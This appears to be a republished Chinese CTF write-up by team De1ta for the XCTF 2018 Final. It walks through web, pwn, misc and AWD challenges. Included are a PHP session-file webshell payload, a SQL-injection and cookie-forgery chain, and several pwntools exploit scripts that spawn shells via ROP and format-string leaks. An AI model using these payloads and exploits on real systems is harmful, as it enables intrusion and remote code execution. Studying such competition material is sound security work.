内容简介:题目打包链接:今年我们De1ta在前面一半XCTF联赛分站赛都没有参加的情况下,以后几场分站赛总积分排名第19勉强挤进XCTF总决赛(感谢r3kapig的大佬们抬了一手),最终我们解题排名第六,攻防排名第九,总分排名第九,给队内所有师傅递茶!tql顺便打个小广告:De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
Team: De1ta
题目打包链接: https://raw.githubusercontent.com/De1ta-team/CTF_Challenges/master/XCTF2018_Final_Challenges.zip
今年我们De1ta在前面一半XCTF联赛分站赛都没有参加的情况下,以后几场分站赛总积分排名第19勉强挤进XCTF总决赛(感谢r3kapig的大佬们抬了一手),最终我们解题排名第六,攻防排名第九,总分排名第九,给队内所有师傅递茶!tql
顺便打个小广告:De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
[TOC]
Web
best php
just try it!
index.php
<?php highlight_file(__FILE__); error_reporting(0); ini_set('open_basedir', '/var/www/html:/tmp'); $file = 'function.php'; $func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET); include($file); session_start(); $_SESSION['name'] = $_POST['name']; if($_SESSION['name']=='admin'){ header('location:admin.php'); } ?>
从index.php可以看出$_GET['function'] 和 $_SESSION['name'] = $_POST['name'] 可控
其中call_user_func($func,$_GET);回调函数可利用
而且include($file);调用了文件包含
所以,可以调用变量覆盖函数,覆盖掉$file,从而引入文件包含
payload:
http://10.99.99.16/?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php一开始只是highlight_file给出index.php的源码,利用文件包含读到了admin.php和function.php的源码,不过对解题没啥卵用。
吐槽点:早上题目的环境是 php 7.2,extract函数是无法动态调用的,然后中午主办方偷偷改了环境为7.0,也不发公告说一声,浪费了很多时间。
调用session_start函数,修改session的位置
从index.php可以看出$_SESSION['name'] = $_POST['name'],session的值可控,session默认的保存位置为
/var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /var/lib/php5/sess_PHPSESSID /var/lib/php5/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
由于ini_set('open_basedir', '/var/www/html:/tmp'),我们包含不了/var/lib/下的session
但是我在tmp下也找不到自己的session,所以这里的session应该是在/var/lib/下
这里可以调用session_start函数,修改session的位置
这里直接把session写到了web根目录,并且内容可控
再利用变量覆盖,调用文件包含,即可get shell
http://10.99.99.16/index.php?function=extract&file=./sess_lfc5uk0rv8ndmjfv86u9tv6fk2payload:
POST /index.php?function=session_start&save_path=/tmp HTTP/1.1 Host: 10.99.99.16 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 41 name=<?php echo "aaa";system($_GET[x]);?>
GET /index.php?function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1&x=cat+sdjbhudfhuahdjkasndjkasnbdfdf.php HTTP/1.1 Host: 10.99.99.16 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1 Upgrade-Insecure-Requests: 1
flag:flag{best_H4cker_in_xctf}
PUBG
chi ji ma?host: 159.138.2.46:8888 http://guaika.txmeili.com:8888/kss_admin/index.php hint1:先找源码,题目环境正在修复。 Try to find the source code first, the author is fixing the challenge environment. hint2:题目环境已更新http://guaika.txmeili.com:8888/a.php,验证码看不到的可以访问这个159.138.22.212; Challegen environmen has been updated, http://guaika.txmeili.com:8888/a.php, if you have problem with authorize code, please access to 159.138.22.212 验证码在 http://guaika.txmeili.com:8888/a.php
扫描目录,发现源码 http://guaika.txmeili.com:8888/www.zip
部分文件使用了ZEND/PHP5.2加密,解密工具: https://pan.baidu.com/s/1eQjnVGm ,选择“PHP 5.2 NM 解码”,解密后变量名还是有点乱,可以用 http://www.zhaoyuanma.com/phpzendfix.html 进行变量名的修复。
在/kss_inc/payapi_return.php 中发现存在 SQL 注入:
SerialNo参数可以进行盲注:
使用sqlmap可以拖出数据,需要加option --risk 3 --level 5 --string="易付通URL签名不正确"
因为在默认的risk(1)和level(1)下sqlmap会跳过对or型盲注的检测
--string的作用为
拖出数据,构造cookie获得admin权限。根据/kss_inc/db_function.php iZSVk4mLkY函数逻辑构造cookie中的kss_manager,根据/kss_inc/function.php jZKVlY6Hk函数逻辑构造cookie中的kss_manager_ver
kss_manager=1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefef
kss_manager_ver=md5(kss_manager.COOKKEY)
efefefef是/kss_inc/db_function.php中的后门linecode值,COOKKEY的值可以在/kss_inc/_config.php中找到。从而我们可以登录管理后台。
接下来考虑如何getshell。在/kss_admin/中存在升级功能,
跟进该函数,发现其使用了回调函数read_body
read_body函数使用了file_put_contents函数将curl的返回结果写入/kss_tools/_webup.php
如果我们能够控制curl的返回内容,我们就能实现getshell
我们看到url里拼接的变量是可控的:
在 http://api.hphu.com/test/kss_admin/index.php 有一套demo,同时,在/kss_inc/function.php可以看到SQL注入过滤函数i4mIkpO,其中对SQL敏感字符过滤的部分:
可以看到,该过滤函数会将有敏感字符的部分直接回显,利用这个函数,结合可控的拼接到url的变量,我们可以控制curl http://api.hphu.com 某个文件的返回内容getshell
那么,我们全局查找一下使用了该函数的文件,发现很多文件都用了该函数,例如/kss_admin/admin_logs.php
尝试构造:
写shell:
getflag:
flag:flag{@_n1ce_s1ng@p0r3 tr1p :)}
PS:附上队内@aye 师傅的Web wp:
baby php: https://www.jianshu.com/p/7d63eca80686
Pwn
nobof
nc 10.99.99.16 29999
这道题是用clang编译的,用了safestack
审了一遍,发现get_int函数能在safestack上面溢出,但是并没有什么用,利用不了
menu这个格式化字符串漏洞非常明显,但是只能用来leak,因为检测了有没有n这个字母
最后审出来的是下标溢出漏洞,基本存在于每个有用到下标的地方
我们用update来解释下
首先get_int会读取一个数字,然后判断是否大于256,但是v1其实是可以为负数
例如v1 = 0xf0000001,这个在程序里面判断的是一个小于0的数
然后在下面&books[64 * v1 + 2] 这个地方
v1*64= 0xf0000001 <<8 = 0x00000100
这样就能bypass它的v1<256这个检查
那么能用来干什么呢?
很明显可以去写libc的malloc_hook或者free_hook,还可以去写栈,直接rop
最后选择了直接去写栈,不过因为栈地址会变,所以我限制了一下栈地址的范围,不然写着写着会报错
下面是简单的payload
from pwn import * debug=0 context.log_level='debug' if debug: p=process('./no-bof') #p=process('',env={'LD_PRELOAD':'./libc.so'}) gdb.attach(p) e=ELF('/lib/i386-linux-gnu/libc-2.23.so') else: p=remote('10.99.99.16', 29999) e=ELF('./x32_libc-2.19.so') def ru(x): return p.recvuntil(x) def se(x): p.send(x) def sl(x): p.sendline(x) ru('Your input: ') sl('4 %47$p%26$p') ru('Your choice is:4 ') data=ru(' n') ru('Your input: ') libc=int(data[:10],16) stack=int(data[10:20],16) if debug: base=libc-0x18637 else: base=libc-0x19AD3 book=0x84978E4 ''' binsh=base+e.search('/bin/sh').next() offset=(binsh-book)>>8 offset+=0 target=book+offset*0x100+8 offset+=0xf0000000 offset=offset-0x100000000 print(hex(target)) print(hex(binsh)) print(hex(target-base)) print(hex(base)) sl('5') ru('which book do you want to print?') sl(str(offset)) ''' offset=(stack-book)>>8 target=book+offset*0x100+8 if stack-target<0x2c or stack-target>0x5c: exit() offset+=0xf0000000 offset=offset-0x100000000 binsh=base+e.search('/bin/sh').next() system=base+e.symbols['system'] sl('2') ru('which book do you want to update?') sl(str(offset)) ru('Book title: ') sl(' x00'*(stack-0x2c-target)+p32(system)+p32(binsh)*2) ru('Book price: ') sl('1') p.interactive()
reader
nc 10.99.99.16 19999
这道题感觉有点坑爹,首先随便审了一下main函数,发现好像有一个任意执行
但是后面却发现,这里根本利用不了........
题目有这些功能
- input original raw text
- input paper form text
- input book form text
- export book to paper
- export paper to book
- proofread input material with raw text
- delete
- show file
下面来解释一下这些功能
input original raw text
简单的读255字节到bss段
input paper form text
选择写入哪一个paper,然后读取
content: 255个字节
title: 31个字节
description: 127个字节
再用strlen来得到content的长度,写进结构体的第四个字节处
input book form text
选择写入哪一个book,然后读取
content: 255个字节
title: 31个字节
description: 255个字节
再用strlen来得到content的长度,写进结构体的第四个字节处
export book to paper
选择将哪个book复制到哪个paper
具体是,将book的content的size写到paper的content的size处
然后
memcpy( paper's content, book's content, 0xff);
memcpy( paper's title, book's title, 0xff);
memcpy( paper's description, book's description, 0xff);
这里就漏洞的所在点,这里能溢出到下一个paper的size和content
export paper to book
和上一个功能差不多,不多说了
proofread input material with raw text
首先计算了某个paper或book的content和 raw_content有前多少个字节相等
然后让你猜大概前多少个字节相等
假如你猜的前n个字节是相等的,那么它就会用strncmp来判断,返回的结果是相等的话,就会打印栈上读进来content的前n个字节
这里的漏洞就是利用了strncmp是用于字符串判断相等的,假如我们content和raw content 都是空的,这里也会返回判断相等
但是n的话可以是一个很大的数,这样就能leak出栈上的内容
delete
首先会在栈上开辟book或paper结构体大小的空间
然后再memcpy到上面,最后memset原来的内存
但是这里它忘记判断content的size的大小,直接就memcpy上去了,所以就造成栈溢出了
所以利用链大概是
- leak出栈上有用的信息
- 溢出改paper的content size位
- 写rop链到下一个paper
- delete被改size位的paper,get shell
下面是比赛的时候写的payload,可能不太简洁,凑合着看吧
from pwn import * debug=0 context.log_level='debug' if debug: p=process('./reder') #p=process('',env={'LD_PRELOAD':'./libc.so'}) gdb.attach(p) else: p=remote('10.99.99.16',19999) def ru(x): return p.recvuntil(x) def se(x): p.send(x) def sl(x): p.sendline(x) def input_raw(x): sl('1') ru('please input your raw text') sl(x) ru('>') def inn(idx,id,content,title,desc): sl(str(idx)) ru('Where you want to edit/input?') sl(str(id)) ru('please input content') se(content) ru('input your title') se(title) ru('input your description n>') se(desc) ru('>') def export(idx,id1,id2): sl(str(idx)) ru('Which book you want to export') sl(str(id1)) ru('where you want to output') sl(str(id2)) ru('>') def mexit(): sl('q') ru('Are you sure you want to exit?(y/n)') sl('n') ru('>') sl('6') ru('what do you want to proofread?') sl('1') ru('which one you want to proofread?') sl('1') ru('how many words you assume are same?') sl('400') ru(' x00'*0x108) data=ru(' n')[:-1] pbase=u64(data[:8])-0x138F libc=u64(data[-8:]) if debug: base=libc-0x20830 else: base=libc-0x21F45 ru('>') inn(3,1,'a'*0xff,'b'*0x1f,'c'*0x80+p32(0)+p32(0x300)+cyclic(0x77)) inn(2,2,cyclic(1),'q'*0x1f,cyclic(1)) payload='a'*120+p64(pbase+0x203000+0x100)+cyclic(8)+p64(pbase+0x203000+0x100)+'a'*8+p64(base+0x4647c) inn(3,3,cyclic(0xff),'b'*0x1f,payload) export(4,1,1) export(4,3,2) sl('7') ru('what do you want to delete?') sl('1') ru('which one you want to delete?') sl('2') print(hex(pbase)) print(hex(libc)) p.interactive()
Misc
Mysterious signals
hint:无线射频频谱 radio frequency spectrum
使用cool edit pro2打开文件,在"查看"一栏选择"光谱显示窗"即可看到flag
flag:flag{756e69636f726e}
核弹遥控器密码
hint:芯片型号pt2242,24位有效数据 pt2242 chipset, 24 bits of valid data
pt2242是固定码芯片
通过inspectrum( https://github.com/miek/inspectrum )这个 工具 来分析信号
结合 https://www.freebuf.com/articles/wireless/146781.html 教程,可以调出:
其中,高电平长的为1,低电平长的为0
00000001011110100101100
转16进制为flag,17A59
吐槽一下,一开始出题人没说flag是16进制大写,害得我们试了好久,还以为方法错了
flag:17A59
诡异的校验
捕获到一份受干扰的信号文件,万幸的是被干扰的部分只是数据校验部位,必须要根据仅剩的信号还原出全部数据(十六进制)
hint1: http://ingelect.esy.es/pdf/FXTH871x7.pdf 20959185b1115208(射频文件解码后的数据)
http://ingelect.esy.es/pdf/FXTH871x7.pdf 20959185b1115208(data of decoded spectrum file)
hint2:We have updated the challenge information, add English description as below: We captured a disturbed signal file, fortunately, only the checksum has been disturbed, you should recover all the data according to the remaining signals(hex).
在github上搜索FXTH871x7,找到这个:
猜测校验位置是crc
计算出crc16
拼接到数据后面得到flag
flag:20959185b1115208133f
AWD
pubg
漏洞其实挺明显的,首先gou那个函数 有一个格式化字符串漏洞,可以leak一些地址,利用%x%x%x%lx能leak到一个ld.so附近的地址
在gou函数那里,它还会让你猜3个byte的随机数,如果强行爆破的话是不行的,因为概率是1/(256 256 256)
但是格式化字符串漏洞%x%x,第二个leak出来的东西是猜中的数量,所以利用这个就可以爆破出来,爆破最多256*3次就行了
爆破完之后到gang那个函数有一个任意读,利用上面leak的ld.so附近的地址,可以leak出canary,因为canary会在那附近存一下
任意读完之后,有一个栈溢出,利用栈溢出就可以进行rop来get shell
这里还有一个坑点就是,本地ld.so和libc.so的偏移和服务器的不同,后面强行爆破了一波
from pwn import * import re debug=1 #context.log_level='debug' e=ELF('./libc-2.23.so') if debug: p=process('./pubg') else: p=remote('192.168.20.11',20001) def ru(x): return p.recvuntil(x) def se(x): p.send(x) def sl(x): p.sendline(x) def choose(x,s): ru('> ') sl(str(x)) ru('which one is your favorite?') sl(str(s)) ru('> ') def gou(x,con=False): sl('2') ru('Maybe you can get an airdrop. Tell me your position: n') sl(x) if not con: data=ru(' has')[:-4] ru('> ') return data else: ru('> ') def gang(x): sl('1') ru('Winner winner,chicken dinner. The whole memory is yours, now pick one chicken:') sl(str(x)) ru('The ') cookie=ru(' ch')[:-3] cookie=cookie[:15] payload=cyclic(40)+' x00'+cookie+p64(base+0x4526a)+' x00'*0x100 sl(payload) def brute(): secert='' for i in range(3): for q in range(1,256): if chr(q)=='$' or chr(q)=='*' or chr(q)=='n': continue if gou(secert+chr(q)+'%x%x')[i+3]==str(i+1): secert+=chr(q) break return secert choose(1,1) libc=int(gou('%x%x%x%lx')[5:],16) tbase=libc-0x5D3700 if debug: base=tbase else: base=libc-0x5D3700-0x4000-0x16000 secert=brute()+' 00' context.log_level='debug' gou(secert,True) gang(tbase+0x5D3728+1) ru('icken is on your plate, enjoy it~') p.sendline('cat flag') flag=ru(' n') p.interactive()
randbattle
这题相对简单点,所以就做了这题,不过这题出得有点恶心,能搅屎..........
首先题目有3个选项
- Double Dice Game
- Triple Dice Game
- Combination Game
首先先来说下第一个功能
Double Dice Game
它会rand三个数,然后让你去猜,假如说你没进第三个功能,那么一开始就是srand(0)的,因此这三个数是固定的
如果三个数都成功猜中,它会让你输入5byte,但实际是4byte的密码,然后读取flag,用输入的密码加密,加密的方法是tea加密
加密完之后,它会判断是否存在一个 /tmp/qualiii 这个文件,如果存在的话就会返回上一层
不存在的话,它会创建并将flag写入到其中,然后sleep,sleep完之后,如果文件还存在的话,就会打印加密后的flag
Triple Dice Game
这里分为3个部分
第一个函数会首先srand(time(0)) 然后再rand了三个字母,第二个函数打印这三个字母,然后第三个函数是读取的,读取然后之后判断输入是否正确
如果正确的话,会进到最后一个函数
这里还是让你猜3个数,猜中之后
能删除 /tmp/qualiii这个文件
Combination Game
前面是猜字母加猜数字
猜中之后,能打印出/tmp/qualiii的内容
下面是一个简单的payload,没人竞争的时候能读出flag,至于怎么心机的利用这几个功能去搅屎和反搅屎,这里就不多说了.......(策略太多了
from pwn import * import ctypes LIBC = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.23.so') debug=1 context.log_level='debug' if debug: p=process('./randbattle') #p=process('',env={'LD_PRELOAD':'./libc.so'}) gdb.attach(p) else: p=remote('192.168.20.13',20003) def ru(x): return p.recvuntil(x) def se(x): p.send(x) def sl(x): p.sendline(x) import sys from ctypes import * def decipher(v, k): y = c_uint32(v[0]) z = c_uint32(v[1]) sum = c_uint32(0xc6ef3720) delta = 0x9e3779b9 n = 32 w = [0,0] while(n>0): z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3] y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1] sum.value -= delta n -= 1 w[0] = y.value w[1] = z.value return w def tdice(): sl('2') ru('case2') if debug: LIBC.srand(LIBC.time(0)) else: LIBC.srand(LIBC.time(0)-20) s=[LIBC.rand()%26+65 for _ in range(3)] w='' for i in s: w+=chr(i) w+=' x00' se(w) ru('num:') sl(str(LIBC.rand()%3)) ru('num:') sl(str(LIBC.rand()%3)) ru('num:') sl(str(LIBC.rand()%3)) ru('Your choice:') def ddice(): sl('1') ru('num:') sl(str(LIBC.rand()%6)) ru('num:') sl(str(LIBC.rand()%6)) ru('Set your pass:') se(' x00'*5) ru('Here is your gift: n') flag=ru('C U')[:-3] flag=flag.split(':') flag=[chr(int(i,16)) for i in flag] w='' for i in flag: w+=i t=[] key=[0,0,0,0] flag='' for i in range(0,len(w),4): t.append(u32(w[i:i+4])) for i in range(0,len(t),2): q=decipher(t[i:i+2],key) flag+=p32(q[0]) flag+=p32(q[1]) return flag tdice() print(ddice()) p.interactive()
以上所述就是小编给大家介绍的《XCTF 2018 Final Writeup —— De1ta》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Linux命令行大全
绍茨 (William E.Shotts) / 郭光伟、郝记生 / 人民邮电出版社 / 2013-3-1 / 69.00元
《Linux命令行大全》主要介绍Linux命令行的使用,循序渐进,深入浅出,引导读者全面掌握命令行的使用方法。 《Linux命令行大全》分为四部分。第一部分开始了对命令行基本语言的学习之旅,包括命令结构、文件系统的导引、命令行的编辑以及关于命令的帮助系统和使用手册。第二部分主要讲述配置文件的编辑,用于计算机操作的命令行控制。第三部分讲述了从命令行开始执行的常规任务。类UNIX操作系统,比如L......一起来看看 《Linux命令行大全》 这本书的介绍吧!